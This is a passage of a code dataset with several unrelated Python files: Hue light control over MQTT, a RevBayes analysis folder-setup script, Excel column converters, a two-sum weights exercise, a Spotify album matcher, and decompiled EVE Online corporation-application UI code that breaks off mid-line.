True, 'bri' : 254})\n b.set_light(\"LivingTop3\", {'on' : True, 'bri' : 254})\n b.set_light(\"LivingTop4\", {'on' : True, 'bri' : 254})\n b.set_light(\"LivingTop5\", {'on' : True, 'bri' : 254})\n log.debug(\"living room light> set light to MAX\")\n elif(\"action\" in sensor and sensor[\"action\"] == \"hold\"):\n b.set_light(\"LivingTop1\", {'on' : True, 'bri' : 1})\n b.set_light(\"LivingTop2\", {'on' : True, 'bri' : 1})\n b.set_light(\"LivingTop3\", {'on' : True, 'bri' : 1})\n b.set_light(\"LivingTop4\", {'on' : True, 'bri' : 1})\n b.set_light(\"LivingTop5\", {'on' : True, 'bri' : 1})\n log.debug(\"living room light> set light to min\")\n return\n\ndef office_switch(payload):\n switch = json.loads(payload)\n if(\"click\" in switch and switch[\"click\"] == \"single\"):\n if(lights[\"Office main\"].on):\n lights[\"Office main\"].on = False\n log.debug(\"office_light> off\")\n else:\n #command so that it does not go to previous level before adjusting the brightness\n b.set_light(\"Office main\", {'on' : True, 'bri' : 255})\n log.debug(\"office_light> on\")\n elif(\"action\" in switch and switch[\"action\"] == \"hold\"):\n b.set_light(\"Office main\", {'on' : True, 'bri' : 1})\n log.debug(\"office_light> low\")\n #else:\n # log.debug(\"office_light>no click\")\n return\n\ndef entrance_light(payload):\n jval = json.loads(payload)\n if(\"click\" in jval and jval[\"click\"] == \"single\"):\n if(lights[\"Entrance White 1\"].on):\n lights[\"Entrance White 1\"].on = False\n lights[\"Entrance White 2\"].on = False\n log.debug(\"entrance_light> off\")\n else:\n #command so that it does not go to previous level before adjusting the brightness\n b.set_light(\"Entrance White 1\", {'on' : True, 'bri' : 255})\n b.set_light(\"Entrance White 2\", {'on' : True, 'bri' : 255})\n log.debug(\"entrance_light> on\")\n elif(\"contact\" in jval and jval[\"contact\"] == False):\n #TODO check brightness here - and diff between coming or going away\n log.debug(\"entrance_door>open\")\n else:\n log.debug(\"entrance_light>no click\")\n return\n\ndef mqtt_on_message(client, userdata, msg):\n try:\n topic_parts = msg.topic.split('/')\n if(len(topic_parts) == 2):\n name = topic_parts[1]\n if(name == \"bed light button\") or (name == \"bed nic button\"):\n bed_light_button(msg.payload)\n elif(name == \"office switch\"):\n office_switch(msg.payload)\n elif(name == \"tree button\"):\n bathroom_light_button(msg.payload)\n elif(name == \"liv light 1 button\"):\n livroom_light_button(msg.payload)\n else:\n log.error(\"topic: \"+msg.topic + \"size not matching\")\n except Exception as e:\n log.error(\"mqtt_on_message> Exception :%s\"%e)\n return\n\n# -------------------- main -------------------- \nconfig = cfg.configure_log(__file__)\n\n# -------------------- Philips Hue Client -------------------- \nlog.info(\"Check Bridge Presence\")\n\nif(cfg.ping(config[\"bridges\"][\"LivingRoom\"])):\n b = Bridge(config[\"bridges\"][\"LivingRoom\"])\n log.info(\"Bridge Connection\")\n b.connect()\n log.info(\"Light Objects retrieval\")\n lights = b.get_light_objects('name')\n log.info(\"Hue Lights available :\")\n for name, light in lights.items():\n log.info(name)\n \nelse:\n log.info(\"Bridge ip not responding\")\n\n\n# -------------------- Mqtt Client -------------------- \n#will start a separate thread for looping\nclientMQTT = mqtt_start(config,mqtt_on_message,True)\n\nwhile(True):\n sleep(0.2)\n #The MQTT keeps looping on a thead\n #All there is to do here is not to exit\n","sub_path":"raspi/hue/hue.py","file_name":"hue.py","file_ext":"py","file_size_in_byte":8210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"145120327","text":"#! /usr/bin/env python\n\nimport os\nimport glob\nimport shutil \nimport itertools\nimport re \n\n# requires a main folder with:\n# nexusFiles - folder containing all nexus files to run\n# rb_scripts - folder with all rev scripts to run. pbs script. MCMC. Model. and emp analysis script\n\n# Make folders for each locus and put nexus file into inner \"data\" folder\ndef makeFolders(n, suffix, mainDir):\n\tnexus=str(n)\n\tnexusIndex = nexus.find(suffix)\n\tfName = nexus[:nexusIndex]\n\tdirPath = os.path.join(mainDir,fName)\n\t\n\t# Create paths \n\tdirPath = os.path.join(mainDir,fName)\n\tdataPath = os.path.join(mainDir,fName,\"data\")\n\n\t# Make directories\n\tif not os.path.exists(dirPath):\n\t\tos.mkdir(dirPath)\t\n\tif not os.path.exists(dataPath):\n\t\tos.mkdir(dataPath)\t\n\n\t# Copy nexus to data folder\n\tos.system(\"rm %s\" % (dataPath+\"/\"+n))\n\tprint(n)\n\tos.system(\"cp %s %s\" % (n,dataPath))\n\treturn dirPath,fName\n\ndef editFile(file,old,new):\n\twith open(file, \"r+\") as f:\n\t\t\tfiledata = f.read()\n\t\t\tfiledata = re.sub(old,str(new), filedata)\n\t\t\tf.seek(0)\n\t\t\tf.write(filedata)\n\t\t\tf.truncate()\n\ndef setup(mainDir,suffix,folders = False):\n\tscriptDir = os.path.join(mainDir,\"rb_scripts/\")\n\tos.chdir(mainDir)\n\tfor n in glob.glob('*%s' % suffix):\n\t\tif folders == True:\n\t\t\tx = makeFolders(n, suffix, mainDir)\n\t\t\tdirPath = x[0]\n\t\t\tfName = x[1] \n\t\telse:\n\t\t\tnexus=str(n)\n\t\t\tnexusIndex = nexus.find(suffix)\n\t\t\tfName = nexus[:nexusIndex]\n\t\t\tdirPath = os.path.join(mainDir,fName)\n\t\t# make folder for rev scripts\n\t\tscriptPath = os.path.join(dirPath,\"scripts/\")\n\t\tif not os.path.exists(scriptPath):\n\t\t\tos.mkdir(scriptPath)\t\n\t\t# Copy RevBayes scripts folder to gene script folder\n\t\tos.system(\"cp -r %s/* %s\" % (scriptDir, scriptPath))\n\t\tos.chdir(scriptPath)\n\t\teditFile(\"emp_analysis.Rev\",\"tacocat\",fName)\n\t\teditFile(\"emp_analysis.Rev\",\"racecar\",suffix)\n\t\teditFile(\"job_emp_rb.pbs\",\"tacocat\",fName)\n\t\t# Move pbs script up a folder\n\t\tos.system(\"mv job_emp_rb.pbs %s\" % (dirPath))\n\t\tos.chdir(mainDir)\n\n\n\nmainDir=os.getcwd()\nsetup(mainDir,\".ntg.nex\",True)\n\n","sub_path":"GeneTree_RevBayes/emp_setup.py","file_name":"emp_setup.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"449545039","text":"'''\nConvert excel column names to integers and vice-versa\n'''\n\nfrom string import ascii_uppercase\n\ndef xlcol2num(x):\n '''\n >>> xlcol2num('A')\n 1\n >>> xlcol2num('AA')\n 27\n >>> xlcol2num('KN')\n 300\n >>> xlcol2num('DKJ')\n 3000\n >>> xlcol2num('GJH')\n 5000\n '''\n if list(x) != [c for c in x if c in ascii_uppercase]:\n raise ValueError('Invalid excel column')\n return reduce(lambda s, a: s * 26 + ord(a) - ord('A') + 1, x, 0)\n\ndef num2xlcol(n):\n '''\n >>> num2xlcol(1)\n u'A'\n >>> num2xlcol(27)\n u'AA'\n >>> num2xlcol(300)\n u'KN'\n >>> num2xlcol(3000)\n u'DKJ'\n >>> num2xlcol(5000)\n u'GJH'\n '''\n if type(n) != int:\n raise ValueError('index must be an integer')\n if n < 1:\n raise ValueError('Index is too small')\n result = \"\"\n while True:\n if n > 26:\n n, r = divmod(n - 1, 26)\n result = chr(r + ord('A')) + result\n else:\n return unicode(chr(n + ord('A') - 1) + result)\n","sub_path":"xlsx/xlcols.py","file_name":"xlcols.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"307276001","text":"\"\"\"\ninput: weights = [ 4, 6, 10, 15, 16 ], length = 5, limit = 21\noutput: [ 3, 1 ] # since these are the indices of weights 15 and 6 whose sum equals 21\n\"\"\"\n\ndef get_indices_of_item_weights(weights, _, limit):\n \"\"\"\n YOUR CODE HERE\n \"\"\"\n weight_table = {}\n\n # build table of k=weight v=[idxs]\n for idx, weight in enumerate(weights):\n # because there may be items of the same weight, the index is stored in an array\n if weight not in weight_table:\n weight_table[weight] = [idx] # first\n else:\n weight_table[weight].append(idx) # additional (only need two of them via rules)\n\n # loop again trying to locate the matching weight\n for weight in weights:\n needed_weight = limit - weight\n \n # special case for items with the same weight\n if needed_weight == weight and len(weight_table[weight]) > 1:\n idx1 = weight_table[weight][1] # this idx is always larger\n idx2 = weight_table[weight][0]\n return (idx1, idx2)\n \n if needed_weight in weight_table:\n if weight + needed_weight == limit:\n # found the 2nd weight\n idx1 = weight_table[weight][0]\n idx2 = weight_table[needed_weight][0]\n if idx1 > idx2: # don't understand the purpose of this rule but ok\n return (idx1, idx2)\n else:\n return (idx2, idx1)\n\n return None","sub_path":"hashtables/ex1/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"479575750","text":"import csv\nimport spotipy\n\nUNIQUE_ALBUMS_FNAME = 'billboard_albums_unique.csv'\nALBUMS_OUT_FNAME = 'unique_albums_exact_matches.csv'\n\ndef search_for_artist(artist, sp):\n artist_search = sp.search(artist, type='artist')\n\n best_artist_match = None\n\n for artist_result in artist_search['artists']['items']:\n res_name = artist_result['name'].lower()\n if artist.lower() == res_name:\n # this is our artist\n best_artist_match = artist_result\n break\n\n if best_artist_match is None:\n # then we're done\n return None\n\n artist_id = best_artist_match['id']\n\n return artist_id\n\ndef search_through_artist_for_album(artist_id, album, sp):\n albums_search = sp.artist_albums(artist_id,\n album_type='album',\n country='US')\n\n best_album_match = None\n for album_result in albums_search['items']:\n res_name = album_result['name'].lower()\n if album.lower() == res_name:\n best_album_match = album_result\n break\n\n if best_album_match is None:\n return None\n\n album_id = best_album_match['id']\n\n return album_id\n\nif __name__ == '__main__':\n\n all_artist_ids = {}\n\n sp = spotipy.Spotify()\n\n with open(UNIQUE_ALBUMS_FNAME) as f:\n freader = csv.reader(f)\n header = freader.next()\n\n with open(ALBUMS_OUT_FNAME,'w') as fout:\n fwriter = csv.writer(fout)\n headerout = header + ['artist.id','album.id']\n fwriter.writerow(headerout)\n\n for row in freader:\n artist_name = row[header.index('artist')]\n album_name = row[header.index('album')]\n\n try: artist_id = all_artist_ids[artist_name]\n except KeyError:\n artist_id = search_for_artist(artist_name, sp)\n all_artist_ids[artist_name] = artist_id\n\n if artist_id is None:\n fwriter.writerow(row)\n continue\n\n album_id = search_through_artist_for_album(artist_id,\n album_name,\n sp)\n\n if album_id is None:\n album_id = ''\n\n rowout = row + [artist_id, album_id]\n fwriter.writerow(rowout)\n","sub_path":"search_spotify.py","file_name":"search_spotify.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"617861940","text":"# Python bytecode 2.7 (decompiled from Python 2.7)\n# Embedded file name: e:\\jenkins\\workspace\\client_SERENITY\\branches\\release\\SERENITY\\eve\\client\\script\\ui\\shared\\neocom\\corporation\\corp_ui_applications.py\nfrom math import pi\nfrom carbonui.primitives.container import Container\nfrom eve.client.script.ui.control import entries as listentry\nfrom carbonui.control.scrollentries import SE_BaseClassCore\nfrom eve.client.script.ui.control.buttons import Button\nfrom eve.client.script.ui.control.eveLabel import EveLabelMedium\nfrom eve.client.script.ui.control.infoIcon import MoreInfoIcon\nimport uicls\nimport carbonui.const as uiconst\nimport uiprimitives\nimport uicontrols\nimport uiutil\nimport localization\nimport base\nimport eve.common.lib.appConst as const\nAPPLICATION_STATUS_LABELNAMES = {const.crpApplicationAppliedByCharacter: 'UI/Corporations/CorpApplications/ApplicationUnprocessed',\n const.crpApplicationAcceptedByCorporation: 'UI/Corporations/CorpApplications/ApplicationStatusInvited',\n const.crpApplicationRejectedByCorporation: 'UI/Corporations/CorpApplications/ApplicationStatusRejected',\n const.crpApplicationAcceptedByCharacter: 'UI/Corporations/CorpApplications/ApplicationStatusAccepted',\n const.crpApplicationRejectedByCharacter: 'UI/Corporations/CorpApplications/ApplicationStatusInvitationRejected',\n const.crpApplicationWithdrawnByCharacter: 'UI/Corporations/CorpApplications/ApplicationStatusWithdrawn',\n const.crpApplicationInvitedByCorporation: 'UI/Corporations/CorpApplications/ApplicationStatusDirectlyInvited'\n }\nSTATUS_SETTING_NAME = 'applicationStatus_%d'\n\nclass ApplicationsWindow(uiprimitives.Container):\n __guid__ = 'uicls.ApplicationsTab'\n __nonpersistvars__ = []\n\n def ApplyAttributes(self, attributes):\n uiprimitives.Container.ApplyAttributes(self, attributes)\n self.ownerID = attributes.ownerID\n if self.ownerID == session.charid:\n self.myView = True\n else:\n self.myView = False\n self.quickFilterSetting = 'applicationsQuickFilter_OwnerID%s' % self.ownerID\n self.filteringBy = settings.char.ui.Get(self.quickFilterSetting, '')\n self.showingOld = settings.char.ui.Get('applicationsShowOld_%s' % self.ownerID, False)\n self.InitViewingStatus()\n self.topContainer = uiprimitives.Container(parent=self, name='topContainer', align=uiconst.TOTOP, height=20, padding=const.defaultPadding)\n self.quickFilter = uicls.QuickFilterEdit(parent=self.topContainer, align=uiconst.CENTERRIGHT, setvalue=self.filteringBy)\n self.quickFilter.ReloadFunction = self.OnSearchFieldChanged\n self.quickFilter.OnReturn = self.SearchByCharacterName\n self.statusFilter = uicls.UtilMenu(parent=self.topContainer, align=uiconst.CENTERRIGHT, padding=(1,\n 1,\n 1,\n 1), left=103, GetUtilMenu=self.StatusFilterMenu, texturePath='res:/ui/texture/icons/38_16_205.png', hint=localization.GetByLabel('UI/Corporations/CorpApplications/FilterByStatus'))\n self.inviteButton = Button(name='inviteButton', align=uiconst.CENTERLEFT, parent=self.topContainer, label=localization.GetByLabel('UI/Corporations/CorpApplications/InviteToCorp'), func=self.OpenInviteWindow)\n if not const.corpRolePersonnelManager & session.corprole == const.corpRolePersonnelManager:\n self.inviteButton.display = False\n if self.myView:\n self.topContainer.display = False\n self.applicationContainer = uiprimitives.Container(name='applications', parent=self, align=uiconst.TOALL, padding=const.defaultPadding)\n self.applicationScroll = uicontrols.BasicDynamicScroll(name='applicationsScroll', parent=self.applicationContainer, align=uiconst.TOALL, noContentHint=localization.GetByLabel('UI/Corporations/CorpApplications/NoApplicationsFound'))\n self.applicationScroll.multiSelect = 0\n\n def OpenInviteWindow(self, *args):\n InviteToCorpWnd.CloseIfOpen('InviteToCorpWnd')\n InviteToCorpWnd.Open()\n\n def GetApplications(self, statusList=None):\n if statusList is None:\n statusList = self.sr.viewingStatus\n filteredApplications = []\n if self.ownerID == session.corpid:\n if const.corpRolePersonnelManager & session.corprole != const.corpRolePersonnelManager:\n return []\n if self.showingOld:\n applications = sm.GetService('corp').GetOldApplicationsWithStatus(statusList)\n else:\n applications = sm.GetService('corp').GetApplicationsWithStatus(statusList)\n if len(self.filteringBy):\n ownersToPrime = set()\n for application in applications:\n ownersToPrime.add(application.characterID)\n\n if len(ownersToPrime) > 0:\n cfg.eveowners.Prime(ownersToPrime)\n for application in applications:\n if cfg.eveowners.Get(application.characterID).name.lower().find(self.filteringBy.lower()) > -1:\n filteredApplications.append(application)\n\n else:\n filteredApplications = applications\n elif self.showingOld:\n filteredApplications = sm.GetService('corp').GetMyOldApplicationsWithStatus(None)\n else:\n filteredApplications = sm.GetService('corp').GetMyApplicationsWithStatus(None)\n return filteredApplications\n\n def GetCorpApplicationEntries(self, applications):\n ownersToPrime = set()\n scrolllist = []\n if self.myView:\n ownerKey = 'corporationID'\n else:\n ownerKey = 'characterID'\n validApplications = set()\n for application in applications:\n ownerID = getattr(application, ownerKey, None)\n if ownerID is None:\n continue\n ownersToPrime.add(ownerID)\n validApplications.add(application)\n\n if len(ownersToPrime):\n cfg.eveowners.Prime(ownersToPrime)\n expandedApp = settings.char.ui.Get('corporation_applications_expanded', {})\n for application in validApplications:\n data = {'myView': self.myView,'application': application,'sort_%s' % localization.GetByLabel('UI/Common/Date'): application.applicationDateTime,'charID': application.characterID,'isExpanded': expandedApp.get(self.myView, None) == application.applicationID}\n entry = listentry.Get('CorpApplicationEntry', data)\n scrolllist.append(entry)\n\n return scrolllist\n\n def OnSearchFieldChanged(self):\n myFilter = self.quickFilter.GetValue().strip()\n if myFilter == '':\n self.filteringBy = myFilter\n settings.char.ui.Set(self.quickFilterSetting, self.filteringBy)\n applications = self.GetApplications()\n scrolllist = self.GetCorpApplicationEntries(applications)\n self.RefreshApplicationScroll(addNodes=scrolllist, forceClear=True)\n\n def SearchByCharacterName(self, *args):\n myFilter = self.quickFilter.GetValue().strip()\n if len(myFilter) == 0:\n return\n self.filteringBy = myFilter\n applications = self.GetApplications()\n scrolllist = self.GetCorpApplicationEntries(applications)\n self.RefreshApplicationScroll(addNodes=scrolllist, forceClear=True)\n\n def StatusFilterMenu(self, menuParent):\n for applicationStatusID in APPLICATION_STATUS_LABELNAMES:\n if applicationStatusID == const.crpApplicationRejectedByCharacter:\n continue\n isChecked = _LoadApplicationFilterSetting(applicationStatusID, False)\n menuParent.AddCheckBox(_GetApplicationStatusLabel(applicationStatusID), checked=isChecked, callback=(self.ToggleStatusFilter, applicationStatusID, isChecked))\n\n menuParent.AddDivider()\n menuParent.AddCheckBox(localization.GetByLabel('UI/Corporations/CorpApplications/ShowOldApplications'), checked=self.showingOld, callback=(self.SetShowOld, not self.showingOld))\n\n def SetShowOld(self, value):\n settings.char.ui.Set('applicationsShowOld_%s' % self.ownerID, value)\n self.showingOld = value\n applications = self.GetApplications()\n scrolllist = self.GetCorpApplicationEntries(applications)\n self.RefreshApplicationScroll(addNodes=scrolllist, forceClear=True)\n\n def ToggleStatusFilter(self, applicationStatusID, isChecked):\n viewingStatus = []\n if isChecked:\n removeNodes = []\n _SaveApplicationFilterSetting(applicationStatusID, False)\n for status in self.sr.viewingStatus:\n if status != applicationStatusID:\n viewingStatus.append(status)\n\n for applicationNode in self.applicationScroll.GetNodes():\n if applicationNode.application.status not in viewingStatus:\n removeNodes.append(applicationNode)\n\n self.RefreshApplicationScroll(removeNodes=removeNodes)\n else:\n _SaveApplicationFilterSetting(applicationStatusID, True)\n viewingStatus.append(applicationStatusID)\n viewingStatus.extend(self.sr.viewingStatus)\n applications = self.GetApplications([applicationStatusID])\n scrolllist = self.GetCorpApplicationEntries(applications)\n if len(scrolllist) > 0:\n self.RefreshApplicationScroll(addNodes=scrolllist)\n self.sr.viewingStatus = viewingStatus\n\n def InitViewingStatus(self):\n viewingStatus = []\n for applicationStatusID in APPLICATION_STATUS_LABELNAMES:\n if self.ownerID == session.charid:\n viewingStatus.append(applicationStatusID)\n elif _LoadApplicationFilterSetting(applicationStatusID, False):\n viewingStatus.append(applicationStatusID)\n\n if len(viewingStatus) == 0:\n viewingStatus = [const.crpApplicationAppliedByCharacter]\n _SaveApplicationFilterSetting(const.crpApplicationAppliedByCharacter, True)\n self.sr.viewingStatus = viewingStatus\n\n def LoadApplications(self):\n if self.destroyed:\n return\n try:\n try:\n myFilter = self.quickFilter.GetValue()\n if len(myFilter):\n self.filteringBy = myFilter\n sm.GetService('corpui').ShowLoad()\n applications = self.GetApplications()\n scrolllist = self.GetCorpApplicationEntries(applications)\n if len(scrolllist) > 0:\n self.HideNoContentHint()\n self.RefreshApplicationScroll(addNodes=scrolllist)\n else:\n self.ShowNoContentHint()\n except:\n pass\n\n finally:\n sm.GetService('corpui').HideLoad()\n\n def RefreshApplicationScroll(self, addNodes=[], removeNodes=[], reloadNodes=[], forceClear=False):\n if forceClear:\n self.applicationScroll.Clear()\n elif len(removeNodes):\n self.applicationScroll.RemoveNodes(removeNodes, updateScroll=True)\n if len(reloadNodes):\n self.applicationScroll.ReloadNodes(reloadNodes)\n if len(addNodes):\n self.applicationScroll.AddNodes(0, addNodes, updateScroll=True)\n toSort = self.applicationScroll.GetNodes()\n if toSort:\n self.HideNoContentHint()\n sortedNodes = sorted(toSort, key=lambda x: x.application.applicationDateTime, reverse=True)\n self.applicationScroll.SetOrderedNodes(sortedNodes)\n else:\n self.ShowNoContentHint()\n\n def ShowNoContentHint(self):\n self.applicationScroll.ShowHint(localization.GetByLabel('UI/Corporations/CorpApplications/NoApplicationsFound'))\n\n def HideNoContentHint(self):\n self.applicationScroll.ShowHint('')\n\n def OnCorporationApplicationChanged(self, corpID, applicantID, applicationID, newApplication):\n if self.destroyed:\n return\n for applicationNode in self.applicationScroll.GetNodes():\n if applicationNode.application.applicationID == applicationID:\n applicationNode.application = newApplication\n if newApplication.status in self.sr.viewingStatus:\n self.RefreshApplicationScroll(reloadNodes=[applicationNode])\n else:\n self.RefreshApplicationScroll(removeNodes=[applicationNode])\n break\n else:\n if newApplication.status in self.sr.viewingStatus:\n scrolllist = self.GetCorpApplicationEntries([newApplication])\n self.RefreshApplicationScroll(addNodes=scrolllist)\n\n\nclass ViewCorpApplicationWnd(uicontrols.Window):\n __guid__ = 'form.ViewCorpApplicationWnd'\n default_width = 400\n default_height = 255\n default_minSize = (default_width, default_height)\n\n def ApplyAttributes(self, attributes):\n uicontrols.Window.ApplyAttributes(self, attributes)\n self.DefineButtons(uiconst.OKCANCEL, okFunc=self.Confirm, cancelFunc=self.Cancel)\n self.charID = attributes.get('characterID')\n self.appText = attributes.get('applicationText')\n self.status = attributes.get('status')\n wndCaption = localization.GetByLabel('UI/Corporations/CorpApplications/ViewApplicationDetailCaption')\n self.SetCaption(wndCaption)\n self.SetTopparentHeight(0)\n self.MakeUnResizeable()\n self.ConstructLayout()\n\n def ConstructLayout(self):\n charInfoCont = uiprimitives.Container(name='charInfo', parent=self.sr.main, align=uiconst.TOTOP, height=68, padding=const.defaultPadding)\n charLogoCont = uiprimitives.Container(name='charLogo', parent=charInfoCont, align=uiconst.TOLEFT, width=68)\n charTextCont = uiprimitives.Container(name='charName', parent=charInfoCont, align=uiconst.TOALL)\n applicationCont = uiprimitives.Container(name='charInfo', parent=self.sr.main, align=uiconst.TOALL, padding=(const.defaultPadding, 0, const.defaultPadding, const.defaultPadding))\n uiutil.GetOwnerLogo(charLogoCont, self.charID, size=64, noServerCall=True)\n charText = localization.GetByLabel('UI/Corporations/CorpApplications/ApplicationSubjectLine', player=self.charID)\n charNameLabel = uicontrols.EveLabelLarge(parent=charTextCont, text=charText, top=12, align=uiconst.TOPLEFT, width=270)\n editText = localization.GetByLabel('UI/Corporations/BaseCorporationUI/CorporationApplicationText')\n editLabel = uicontrols.EveLabelSmall(parent=applicationCont, text=editText, align=uiconst.TOTOP)\n self.rejectRb = uicontrols.Checkbox(text=localization.GetByLabel('UI/Corporations/CorpApplications/RejectApplication'), parent=applicationCont, configName='reject', retval=1, checked=False, groupname='state', align=uiconst.TOBOTTOM)\n self.acceptRb = uicontrols.Checkbox(text=localization.GetByLabel('UI/Corporations/CorpApplications/ApplicationInviteApplicant'), parent=applicationCont, configName='accept', retval=0, checked=True, groupname='state', align=uiconst.TOBOTTOM)\n if self.status not in const.crpApplicationActiveStatuses:\n self.rejectRb.state = uiconst.UI_HIDDEN\n self.acceptRb.state = uiconst.UI_HIDDEN\n self.applicationText = uicls.EditPlainText(setvalue=self.appText, parent=applicationCont, maxLength=1000, readonly=True)\n\n def Confirm(self, *args):\n if self.status not in const.crpApplicationActiveStatuses:\n self.Cancel()\n applicationText = self.applicationText.GetValue()\n if len(applicationText) > 1000:\n error = localization.GetByLabel('UI/Corporations/CorpApplications/ApplicationTextTooLong', length=len(applicationText))\n eve.Message('CustomInfo', {'info': error})\n else:\n if self.rejectRb.checked:\n rejected = const.crpApplicationRejectedByCorporation\n else:\n rejected = const.crpApplicationAcceptedByCorporation\n self.result = rejected\n self.SetModalResult(1)\n\n def Cancel(self, *args):\n self.result = None\n self.SetModalResult(0)\n return\n\n\nclass MyCorpApplicationWnd(uicontrols.Window):\n __guid__ = 'form.MyCorpApplicationWnd'\n default_width = 400\n default_height = 300\n default_minSize = (default_width, default_height)\n\n def ApplyAttributes(self, attributes):\n uicontrols.Window.ApplyAttributes(self, attributes)\n self.corpid = attributes.get('corpid')\n self.application = attributes.get('application')\n self.status = attributes.get('status')\n self.windowID = 'viewApplicationWindow'\n if self.status in const.crpApplicationActiveStatuses:\n self.DefineButtons(uiconst.OKCANCEL, okFunc=self.Confirm, cancelFunc=self.Cancel)\n else:\n self.DefineButtons(uiconst.OK, okFunc=self.Cancel)\n wndCaption = localization.GetByLabel('UI/Corporations/CorpApplications/ViewApplicationDetailCaption')\n self.SetCaption(wndCaption)\n self.SetTopparentHeight(0)\n self.MakeUnResizeable()\n self.ConstructLayout()\n\n def ConstructLayout(self):\n self.acceptRb = None\n self.withdrawRb = None\n corpName = cfg.eveowners.Get(self.corpid).name\n corpInfoCont = uiprimitives.Container(name='corpInfo', parent=self.sr.main, align=uiconst.TOTOP, height=68, padding=const.defaultPadding)\n corpLogoCont = uiprimitives.Container(name='corpLogo', parent=corpInfoCont, align=uiconst.TOLEFT, width=68)\n corpTextCont = uiprimitives.Container(name='corpName', parent=corpInfoCont, align=uiconst.TOALL)\n controlCont = uiprimitives.Container(name='buttons', parent=self.sr.main, align=uiconst.TOBOTTOM, padding=(const.defaultPadding, 0, const.defaultPadding, const.defaultPadding))\n controlContHeight = 0\n applicationCont = uiprimitives.Container(name='applicationCont', parent=self.sr.main, align=uiconst.TOALL, padding=(const.defaultPadding, 0, const.defaultPadding, const.defaultPadding))\n uiutil.GetOwnerLogo(corpLogoCont, self.corpid, size=64, noServerCall=True)\n corpText = localization.GetByLabel('UI/Corporations/CorpApplications/YourApplicationToJoin', corpName=corpName)\n corpNameLabel = uicontrols.EveLabelLarge(parent=corpTextCont, text=corpText, top=12, align=uiconst.TOPLEFT, width=270)\n if self.status == const.crpApplicationAppliedByCharacter:\n statusText = localization.GetByLabel('UI/Corporations/CorpApplications/ApplicationNotProcessed')\n statusLabel = uicontrols.EveLabelSmall(parent=applicationCont, text=statusText, align=uiconst.TOTOP, padBottom=const.defaultPadding)\n else:\n statusText = statusLabel = ''\n editText = localization.GetByLabel('UI/Corporations/BaseCorporationUI/CorporationApplicationText')\n editLabel = uicontrols.EveLabelSmall(parent=applicationCont, text=editText, align=uiconst.TOTOP)\n if self.application.applicationText is not None:\n appText = self.application.applicationText\n else:\n appText = ''\n self.applicationText = uicls.EditPlainText(setvalue=appText, parent=applicationCont, maxLength=1000, readonly=True)\n if self.status in const.crpApplicationActiveStatuses:\n isWithdrawChecked = True\n if self.status in (const.crpApplicationAcceptedByCorporation, const.crpApplicationInvitedByCorporation):\n isWithdrawChecked = False\n self.acceptRb = uicontrols.Checkbox(text=localization.GetByLabel('UI/Corporations/CorpApplications/AcceptApplication'), parent=controlCont, configName='accept', retval=1, checked=True, groupname='stateGroup', align=uiconst.TOBOTTOM)\n controlContHeight += 40\n self.withdrawRb = uicontrols.Checkbox(text=localization.GetByLabel('UI/Corporations/CorpApplications/WithdrawApplication'), parent=controlCont, configName='accept', retval=3, checked=isWithdrawChecked, groupname='stateGroup', align=uiconst.TOBOTTOM)\n controlContHeight += 20\n controlCont.height = controlContHeight\n return\n\n def Confirm(self, *args):\n self.result = None\n if self.withdrawRb.checked:\n self.result = const.crpApplicationWithdrawnByCharacter\n elif self.acceptRb.checked:\n self.result = const.crpApplicationAcceptedByCharacter\n self.SetModalResult(1)\n return\n\n def Cancel(self, *args):\n self.result = None\n self.SetModalResult(0)\n return\n\n def WithdrawApplication(self, *args):\n try:\n sm.GetService('corpui').ShowLoad()\n application = self.application\n sm.GetService('corpui').ShowLoad()\n sm.GetService('corp').UpdateApplicationOffer(application.applicationID, application.characterID, application.corporationID, application.applicationText, const.crpApplicationWithdrawnByCharacter)\n finally:\n sm.GetService('corpui').HideLoad()\n uicontrols.Window.CloseIfOpen(windowID='viewApplicationWindow')\n\n\nclass ApplyToCorpWnd(uicontrols.Window):\n __guid__ = 'form.ApplyToCorpWnd'\n default_width = 400\n default_height = 245\n default_minSize = (default_width, default_height)\n\n def ApplyAttributes(self, attributes):\n uicontrols.Window.ApplyAttributes(self, attributes)\n self.DefineButtons(uiconst.OKCANCEL, okFunc=self.Confirm, cancelFunc=self.Cancel)\n self.corpid = attributes.get('corpid')\n self.corporation = attributes.get('corporation')\n wndCaption = localization.GetByLabel('UI/Corporations/BaseCorporationUI/JoinCorporation')\n self.SetCaption(wndCaption)\n self.SetTopparentHeight(0)\n self.MakeUnResizeable()\n self.ConstructLayout()\n\n def ConstructLayout(self):\n corpName = cfg.eveowners.Get(self.corpid).name\n corpInfoCont = uiprimitives.Container(name='corpInfo', parent=self.sr.main, align=uiconst.TOTOP, height=68, padding=const.defaultPadding)\n corpLogoCont = uiprimitives.Container(name='corpLogo', parent=corpInfoCont, align=uiconst.TOLEFT, width=68)\n corpTextCont = uiprimitives.Container(name='corpName', parent=corpInfoCont, align=uiconst.TOALL)\n applicationCont = uiprimitives.Container(name='corpInfo', parent=self.sr.main, align=uiconst.TOALL, padding=(const.defaultPadding, 0, const.defaultPadding, const.defaultPadding))\n uiutil.GetOwnerLogo(corpLogoCont, self.corpid, size=64, noServerCall=True)\n corpText = localization.GetByLabel('UI/Corporations/BaseCorporationUI/ApplyForMembership', corporation=corpName)\n corpNameLabel = uicontrols.EveLabelLarge(parent=corpTextCont, text=corpText, top=12, align=uiconst.TOPLEFT, width=270)\n editText = localization.GetByLabel('UI/Corporations/BaseCorporationUI/CorporationApplicationText')\n editLabel = uicontrols.EveLabelSmall(parent=applicationCont, text=editText, align=uiconst.TOTOP)\n tax = self.corporation.taxRate * 100\n taxText = localization.GetByLabel('UI/Corporations/BaseCorporationUI/CurrentTaxRateForCorporation', corporation=corpName, taxRate=tax)\n taxLabel = uicontrols.EveLabelSmall(parent=applicationCont, text=taxText, align=uiconst.TOBOTTOM)\n corpService = sm.GetService('corp')\n aggressionSettings = corpService.GetAggressionSettings(self.corpid)\n statusText = corpService.GetCorpFriendlyFireStatus(aggressionSettings)\n ffText = 